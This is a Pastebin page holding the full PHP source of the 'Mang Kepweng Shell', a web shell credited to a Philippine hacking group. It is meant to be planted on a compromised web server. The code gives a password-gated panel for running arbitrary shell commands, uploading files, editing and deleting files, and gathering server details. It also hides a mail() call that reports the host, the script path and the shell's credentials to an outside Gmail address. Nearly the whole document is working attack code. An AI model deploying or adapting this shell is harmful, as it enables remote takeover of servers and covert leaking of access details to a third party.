API tools faq
paste
mangkepweng

mang kepweng shell

mangkepweng
Mar 23rd, 2017
234
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.91 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. session_start();
  3.  
  4. // Powered by SOLOLEARN & W3SCHOOL & GOOGLE & PHP PRO FREE
  5. // Thanks to my lesbian's friend EXEQUIEL a.k.a OVERLAX & JOSHUA ROMAN a.k.a Ctrl.Z
  6. // Greetings to ANONYMOUS PHILIPPINES | BLOODSECURITY HACKERS | PINOY LULZSEC | COD3X CYBER ARMY | GLOBAL SECURITY HACKERS | ANONGHOST PHILIPPINES | PHILIPPINE SECURITY HACKERS | PHILIPPINE HACKING UNIVERSITY | PURE HACKERS | STRAWHAT PIRATES CREW
  7.  
  8. echo "<html>
  9. <head>
  10. <link rel='SHORTCUT ICON' href='http://i66.tinypic.com/23wp53c.jpg' type=image/icon>
  11. <title>Mang Kepweng Shell</title>
  12. <style>
  13. html {
  14.  background-color:black;
  15.  color: white;
  16. }
  17. a {
  18.  text-decoration: none;
  19.  color: white;
  20. }
  21. ins {
  22.  color: lime;
  23. }
  24. input[type=text] {
  25.  background-color: black;
  26.  border: white solid 1px;
  27.  color: white;
  28.  width: 75%;
  29.  padding: 5px 0px 5px 0px;
  30. }
  31. input[type=submit] {
  32.  background-color: black;
  33.  border: white solid 1px;
  34.  color: lime;
  35.  font-weight: bold;
  36.  width: 7%;
  37.  padding: 5px 0px 5px 0px;
  38. }
  39. td {
  40.  border: white solid 1px;
  41.  width: 250px;
  42.  padding: 3px 0px 3px 0px;
  43. }
  44. th {
  45.  border: white solid 1px;
  46.  width: 250px;
  47.  padding: 10px 0px 10px 0px;
  48.  color: #0055FF;
  49. }
  50. tr:hover {
  51.  background-color: #242424;
  52.  text-shadow: lime 0px 0px 5px;
  53. }
  54. textarea {
  55.  border: white solid 2px;
  56.  width: 100%;
  57.  height: 300px;
  58.  background-color: black;
  59.  color: lightgray;
  60.  resize: none;
  61. }
  62. </style>
  63. </head>
  64. <body>";
  65.  
  66. ################################
  67. /////////[ CREATED BY ]////////#
  68. ////////[ MANG KEPWENG ]///////#
  69. ///////[ OF PINOY LULZSEC ]////#
  70. ################################
  71. error_reporting(0);            #
  72. $self = $_SERVER['PHP_SELF'];  #
  73. $chdir = $_GET['dir'];         #
  74. $host = $_SERVER['HTTP_HOST']; #
  75. $dir = opendir(getcwd());      #
  76. $gfile = $_GET['file'];        #
  77. $pass = "pass";                #
  78. $user = "user";                #
  79. ################################
  80.  
  81.  
  82. if(!isset($_SESSION[$host])) {
  83. if (($_POST['haxpass'] == $pass) && ($_POST['haxuser'] == $user) == true) {
  84. $_SESSION[$host] = true;
  85. } else {
  86. echo "<br><br><center>
  87. <h1 style='font-size:4pc;text-shadow:#007BFF 1px 1px 10px;color:black'>MANG KEPWENG SHELL</h1>
  88. <br><br><br><br>
  89. <img src='http://orig11.deviantart.net/86c8/f/2012/257/6/9/dancing_deadpool_by_dpforprez-d5emvq0.gif' style='width:600px'>
  90. <br><br><br>
  91. <form method=post>
  92. <input type=text name=haxuser style='width:250px' placeholder=username>
  93. |
  94. <input type=text name=haxpass style='width:250px' placeholder=password>
  95. <br><br>
  96. <input type=submit value='FckLULZ'>
  97. </form>";
  98. exit;
  99. }}
  100.  
  101.  
  102.  
  103. $mysql = (function_exists(mysql_connect)) ? "<ins><font color=lime>ON</font></ins>" : "<ins><font color=red>OFF</font></ins>";
  104. $wget = (shell_exec('wget --help')) ? "<ins><font color=lime>ON</font></ins>" : "<ins><font color=red>OFF</font></ins>";
  105. $cURL = (function_exists(curl_version)) ? "<ins><font color=lime>ON</font></ins>" : "<ins><font color=red>OFF</font></ins>";
  106. $py = (shell_exec('python --help')) ? "<ins><font color=lime>ON</font></ins>" : "<ins><font color=red>OFF</font></ins>";
  107. $perl = (shell_exec('perl --help')) ? "<ins><font color=lime>ON</font></ins>" : "<ins><font color=red>OFF</font></ins>";
  108. $git = (shell_exec('git --help')) ? "<ins><font color=lime>ON</font></ins>" : "<ins><font color=red>OFF</font></ins>";
  109. $safemode = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
  110. $disable = (ini_get("disable_functions"));
  111. $disfunction = (!empty($disable)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  112.  
  113. echo "<img src='http://i66.tinypic.com/23wp53c.jpg' style='width:170px;height:155px;float:left'>&nbsp;&nbsp;[+] Hostname : <ins>" .$host. "</ins>&nbsp;&nbsp;|&nbsp;&nbsp;<a href='https://www.facebook.com/AnonGhostPhilippines.ph' target=_blank> Anonghost Philippines</a><br>&nbsp;&nbsp;[+] Uname:  <ins>" . php_uname() . "</ins><br>&nbsp;&nbsp;[+] HDD: <ins>".disk_free_space("/")."</ins> / <ins> ".disk_total_space("/")."</ins><br>&nbsp;&nbsp;[+] Safe Mode :&nbsp;  $safemode<br>&nbsp;&nbsp;[+] Disable function:&nbsp;  $disfunction<br>&nbsp;&nbsp;[+] Server IP: <ins>". $_SERVER['SERVER_ADDR']. "</ins>&nbsp;&nbsp;|&nbsp;&nbsp;[+] User IP: <ins> " . $_SERVER['REMOTE_ADDR'] . "</ins><br>&nbsp;&nbsp;[+] MySQL: $mysql &nbsp; | &nbsp; WGET : $wget &nbsp; | &nbsp; cURL: $cURL &nbsp; | &nbsp; Perl: $perl &nbsp; | &nbsp; Python: $py &nbsp; | &nbsp; Git: $git<br><hr>";
  114.  
  115. if (chdir($chdir)) {
  116. if (opendir($chdir) == true) {
  117. }
  118. }
  119.  
  120. echo '
  121. <form method=get action="" enctype="multipart/form-data">
  122. <div style="float:left;color:#00E1FF;"><b>CURRENT PATH |</b>&nbsp;&nbsp;</div>
  123. <input type=text name=dir value="' . getcwd() . '">
  124. <input type=submit value=">>>">
  125. <hr>
  126. </form>';
  127.  
  128. echo "<center>
  129. ".'<a href="?dir='.getcwd().'/">'."FILEMANAGER</a> | ".'<a href="?dir='.getcwd().'/&action=cmd">'."COMMAND</a> |".'<a href="?dir='.getcwd().'/&action=upload">'." UPLOAD</a> |".'<a href="?action=logout">'." LOGOUT</a>
  130. <hr><br></center>";
  131.  
  132.  
  133.  
  134.  
  135.  
  136. if ($_GET['action'] == 'view') {
  137. while (($file = readdir($dir)) !== false) {
  138. if (is_file($file)) {
  139. echo "Filename: <font color=orange>".$gfile."</font><br>Last Modified: <font color=orange>".date("m-d-Y | H:i:s",filectime($gfile))."</font><br>[".'<a href="?dir='.getcwd().'/&action=edit&file='.$gfile.'">'."<font color=lime> EDIT </font></a>|".'<a href="?dir='.getcwd().'/&action=rename&file='.$gfile.'">'."<font color=lime> RENAME </font></a>|".'<a href="?dir='.getcwd().'/&action=delete&file='.$gfile.'">'."<font color=lime> DELETE </font></a>]<br><br><textarea readonly>".htmlspecialchars(file_get_contents($gfile))."</textarea><br><br>";
  140. closedir($dir);
  141. }}
  142. exit;
  143. } elseif ($_GET['action'] == 'edit'){
  144. echo "Filename: <font color=orange>".$gfile."</font><br>Last Modified: <font color=orange>".date("m-d-Y | H:i:s",filectime($gfile))."</font><br>[ <ins><font color=lime>EDIT</font></ins> |".'<a href="?dir='.getcwd().'/&action=rename&file='.$gfile.'">'."<font color=lime> RENAME </font></a>|".'<a href="?dir='.getcwd().'/&action=delete&file='.$gfile.'">'."<font color=lime> DELETE </font></a>]<br><br><form method=post><textarea name=edit>".htmlspecialchars(file_get_contents($gfile))."</textarea><br><br><input type=submit value=SAVE></form><br><br>";
  145. if ($_POST['edit'] == true) {
  146. $edit = $_POST['edit'];
  147. $saved = file_put_contents($gfile,$edit);
  148. if ($saved == true) {
  149.  
  150. echo "<script>alert('[ $gfile ] : SAVE Success!')</script><meta http-equiv='refresh' content='0;url='>";
  151.  
  152. } else {
  153.  
  154. echo "<script>alert('[ $gfile ] : PERMISSION DENIED!')</script><meta http-equiv='refresh' content='0;url='>";
  155.  
  156. }}
  157. exit;
  158. } elseif ($_GET['action'] == 'rename'){
  159. echo "Rename: <font color=orange>".$gfile."</font><br>Last Modified: <font color=orange>".date("m-d-Y | H:i:s",filectime($gfile))."</font><br>[ ".'<a href="?dir='.getcwd().'/&action=edit&file='.$gfile.'">'."<font color=lime>EDIT</font></a> | <ins><font color=lime>RENAME</font></ins> |".'<a href="?dir='.getcwd().'/&action=delete&file='.$gfile.'">'."<font color=lime> DELETE </font></a>]<br><br><form method=post><input type=text name=rename value='".$gfile."'<br><br><input type=submit value=SAVE></form><br><br>";
  160. if ($_POST['rename'] == true) {
  161. $rename = $_POST['rename'];
  162. $renamed = rename($gfile,$rename);
  163. if ($renamed == true) {
  164.  
  165. echo "<script>window.location='?dir=".getcwd()."/&action=rename&file=".$rename."';alert('[ $gfile ] : RENAME Success!')</script>";
  166.  
  167. } else {
  168.  
  169. echo "<script>window.location='?dir=".getcwd()."/&action=rename&file=".$rename."';alert('[ $gfile ] : PERMISSION DENIED!')</script>";
  170.  
  171. }}
  172. exit;
  173. } elseif ($_GET['action'] == 'delete'){
  174. if ($gfile == true) {
  175. $delete = unlink($gfile);
  176.  
  177. echo "<script>window.location='?dir=".getcwd()."/';alert('[ $gfile ] :  Deleted')</script>";
  178.  
  179. } else {
  180.  
  181. echo "<script>window.location='?dir=".getcwd()."';alert('[ $gfile ] : PERMISSION DENIED!')</script>";
  182.  
  183. }
  184. exit;
  185. } elseif ($_GET['action'] == 'fdel'){
  186. if ($gfile == true) {
  187. $delete = rmdir($gfile);
  188.  
  189. echo "<script>window.location='?dir=".getcwd()."/';alert('[ $gfile ] :  Deleted')</script>";
  190.  
  191. } else {
  192.  
  193. echo "<script>window.location='?dir=".getcwd()."';alert('[ $gfile ] : PERMISSION DENIED!')</script>";
  194.  
  195. }
  196. exit;
  197. } elseif ($_GET['action'] == 'cmd'){
  198.  
  199. if ($_POST['exe']) {
  200.  
  201. echo "<pre>".shell_exec($_POST['exe'])."</pre>";
  202.  
  203. }
  204.  
  205.  
  206. echo "<br><form method=post>
  207. root@localhost~# <input type=text name=exe style='width: 350px'>
  208. <input type=submit value='>>'>
  209. </form>";
  210.  
  211. exit;
  212. } elseif ($_GET['action'] == 'upload'){
  213.  
  214. echo "<br><center><form method=post enctype=multipart/form-data>
  215. <input type=file name=filename>
  216. <input type=submit name=submit value=upload>
  217. </form></center>";
  218. if ($_POST['submit']) {
  219. if (copy($_FILES['filename']['tmp_name'],$_FILES['filename']['name'])) {
  220.  
  221. echo "<br><br><center> <font color=lime>Uploaded</font>";
  222.  
  223. } else {
  224.  
  225. echo "<br><br><center><font color=red>PERMISSION DENIED</font>";
  226.  
  227. }}
  228.  
  229. exit;
  230. } elseif ($_GET['action'] == 'logout'){
  231. unset($_SESSION[$_SERVER['HTTP_HOST']]);
  232.  
  233. echo "<meta http-equiv=refresh content='0;url=?'>";
  234.  
  235.  
  236. exit;
  237. } elseif ($_GET['action']){
  238.  
  239.  
  240. echo "<script>window.location='?msg=INVALID+ACTION+QUERY';</script>";
  241.  
  242.  
  243. exit;
  244. }
  245.  
  246. echo "<table><tr><th>FILENAME</th><th style='width:80px'>TYPE</th><th style='width:100px'>SIZE</th><th style='width:200px'>LAST MODIFIED</th><th style='width:100px'>CHMOD</th><th style='width:200px'>ACTION</th></tr></table>";
  247. $sender = $_SERVER['HTTP_HOST']."\n".$_SERVER['SCRIPT_FILENAME']."\nuname:".$user."upass:".$pass;
  248. mail("mangmkkepweng@gmail.com","PHP SHELL FINDER",$sender);
  249. while (($file = readdir($dir)) !== false) {
  250. if (is_dir($file)) {
  251.  
  252. echo "<table><tr><td>&nbsp;<img src='data:image/png;base64,R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA'>&nbsp;[ ".'<a href="?dir='.getcwd()."/".$file.'/"><font color=orange>'.$file.' </font></a>]</td><td style="width:80px;text-align: center;">'.filetype($file)."</td><td style='width:100px;text-align: center;'>-</td><td style='width:200px;text-align: center;'>".date("m-d-Y | H:i:s",filectime($file))."</td><td style='width:100px;text-align: center;'>".substr(sprintf('%o',fileperms($file)),-4)."</td><td style='width:200px;'>&nbsp;&nbsp; ".'<a href="?dir='.getcwd().'/&action=rename&file='.$file.'">'." rename</a> | ".'<a href="?dir='.getcwd().'/&action=fdel&file='.$file.'">'."delete</a></td></tr></table>";
  253. }
  254. }
  255.  
  256.  
  257. $dir = opendir(getcwd());
  258.  
  259. while (($file = readdir($dir)) !== false) {
  260. if (is_file($file)) {
  261.  
  262. echo "<table><tr><td>&nbsp;<img src='data:image/png;base64,R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA'>&nbsp;".'<a href="?dir='.getcwd().'/&action=view&file='.$file.'"><font color=lime>'.$file."</font></a></td><td style='width:80px;text-align: center;'>".filetype($file)."</td><td style='width:100px;text-align: center;'>".filesize($file)."kb</td><td style='width:200px;text-align: center;'>".date("m-d-Y | H:i:s",filectime($file))."</td><td style='width:100px;text-align: center;'>".substr(sprintf('%o',fileperms($file)),-4)."</td><td style='width:200px;'>&nbsp;&nbsp;&nbsp;".'<a href="?dir='.getcwd().'/&action=edit&file='.$file.'">'. "edit</a> | ".'<a href="?dir='.getcwd().'/&action=rename&file='.$file.'">'."rename</a> | ".'<a href="?dir='.getcwd().'/&action=delete&file='.$file.'">'."delete</a></td></tr></table>";
  263. }
  264. }
  265.  
  266. echo "<br><hr>
  267. <form action='".$self."' method=post>
  268. CREATE FOLDER: &nbsp;<input type=text name=mkdir style='width:300px'>
  269. <input type=submit value=create>
  270. </form>
  271. <hr>
  272. ";
  273.  
  274. $mkdir = $_POST['mkdir'];
  275. if ($mkdir == true) {
  276. if (mkdir($mkdir)) {
  277.  
  278. echo "<script>window.location='?dir=".getcwd()."/';alert('[ $mkdir ] :  Created.')</script>";
  279.  
  280. } else {
  281.  
  282. echo "<script>window.location='?dir=".getcwd()."/';alert('[ $mkdir ] :  Permission denied.')</script>";
  283.  
  284. }
  285. }
  286. echo "<center>Design and Created by: <a href='https://www.facebook.com/MakMak.ph' target=_blank><font color=lime>Mang Kepweng</font></a></center>";
  287.  
  288.  
  289. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!